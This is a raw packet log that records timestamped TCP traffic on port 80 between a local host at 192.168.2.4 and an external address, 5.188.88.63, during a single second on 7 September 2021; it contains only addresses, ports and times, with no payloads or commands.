Sep 7, 2021 16:02:39.684921026 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.684940100 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.684953928 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.684969902 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.684986115 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.685029984 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.685046911 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.685075045 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.685112953 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.685122967 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.685726881 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.685825109 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.685854912 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.685879946 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.685905933 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.685920954 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.685959101 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.685976982 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.685997963 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.686012983 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.686022997 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.686048985 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.686053991 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.686187983 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.686216116 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.686228991 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.686249018 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.686295986 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.686307907 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.686319113 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.686378956 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.686403036 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.686579943 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.686609983 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.686629057 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.686630011 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.686645031 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.686748028 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.686759949 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.686846972 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.686872959 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.686968088 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.686990023 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.687009096 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.687062025 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.687067032 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.687084913 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.687210083 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.687306881 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.687360048 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.687383890 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.687405109 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.687442064 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.687463045 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.687498093 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.687501907 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.687529087 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.687557936 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.687565088 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.687587976 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.687609911 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.687648058 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.687671900 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.687693119 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.687699080 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.687720060 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.687747002 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.687768936 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.687792063 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.687849998 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.687855959 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.729661942 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.729695082 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.729717016 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.729737043 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.729756117 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.729780912 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.729803085 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.729825020 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.729847908 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.729870081 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.729892015 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.729912996 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.729928970 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.729934931 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.729958057 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.729979992 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.729990005 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.729995012 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.730000973 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.730025053 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.730046034 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.730061054 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.730066061 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.730067968 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.730092049 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.730113983 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.730130911 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.730132103 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.730134964 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.730165958 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.730186939 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.730207920 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.730210066 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.730212927 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.730232000 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.730257034 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.730279922 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.730304956 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.730310917 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.730315924 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.730326891 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.730345011 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.730362892 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.730783939 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.744560957 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.744585991 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.744683981 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.744708061 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.744710922 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.744729042 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.744751930 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.744772911 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.744798899 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.744821072 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.744844913 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.744874001 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.744895935 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.744940042 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.744950056 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.744955063 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.744962931 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.744983912 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.745014906 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.745019913 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.745040894 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.745066881 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.745090008 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.745110989 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.745132923 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.745146036 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.745151997 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.745155096 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.745176077 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.745234013 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.745238066 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.747415066 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.747442961 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.747463942 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.747486115 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.747507095 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.747584105 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.747596025 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.747598886 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.747622967 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.747643948 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.747664928 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.747689962 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.747694016 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.748013973 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.748164892 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.748188019 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.748189926 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.748210907 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.748236895 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.748260021 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.748481035 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.748492956 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.748826981 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.749217987 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.749236107 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.749691963 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.749717951 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.749958992 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.750269890 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.750504971 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.750682116 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.750988960 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.751074076 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.751730919 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.752001047 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.756717920 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.756807089 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.756875992 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.756915092 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.756953955 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.756990910 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.757029057 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.757066011 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.757127047 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.757174969 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.757210970 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.757215977 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.757230997 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.757282972 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.757318974 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.757365942 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.757369995 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.757371902 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.757405043 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.757438898 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.757493019 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.757529020 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.757551908 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.757558107 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.757581949 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.757631063 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.757685900 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.757738113 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.757738113 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.757741928 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.757774115 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.757810116 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.757841110 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.757894993 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.757916927 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.757922888 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.757932901 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.757977962 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.758021116 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.758069038 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.758105993 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.758120060 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.758124113 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.758178949 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.758213043 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.758261919 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.758296013 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.758321047 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.758326054 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.758361101 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.758394957 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.758443117 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.758446932 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.758450985 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.758485079 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.758517027 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.758563042 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.758620977 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.758625031 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.762094975 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.762969017 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.762996912 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.763019085 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.763037920 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.763056993 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.763081074 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.763154030 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.763171911 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.763173103 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.763197899 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.763216972 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.763241053 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.763277054 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.763326883 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.763348103 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.763381004 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.763401985 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.764889002 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.764909029 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.765047073 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.765067101 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.765072107 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.765075922 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.766572952 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.771522045 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.771552086 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.775583029 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.778887987 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.781438112 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.781476974 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.781927109 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.783435106 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.796489954 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.797148943 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.821903944 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.821926117 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.821943045 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.821960926 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.821976900 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.821996927 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.822053909 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.822076082 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.822257042 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.822283030 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.822299957 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.822315931 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.822333097 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.822349072 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.822348118 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.822371006 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.822388887 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.822402000 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.822405100 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.822407961 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.822483063 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.822678089 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.823359013 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.823398113 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.823426962 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.823452950 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.823456049 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.823478937 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.823501110 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.823506117 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.823508024 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.823532104 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.823648930 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.823709965 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.823740005 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.823766947 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.823779106 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.823822021 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.823903084 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.824028015 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.824058056 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.824084997 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.824086905 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.824110985 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.824136019 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.824167967 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.824435949 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.824573040 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.824600935 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.824630976 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.824660063 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.824686050 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.824711084 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.824712992 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.824719906 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.824738979 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.824822903 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.825241089 CEST	80	49744	5.188.88.63	192.168.2.4
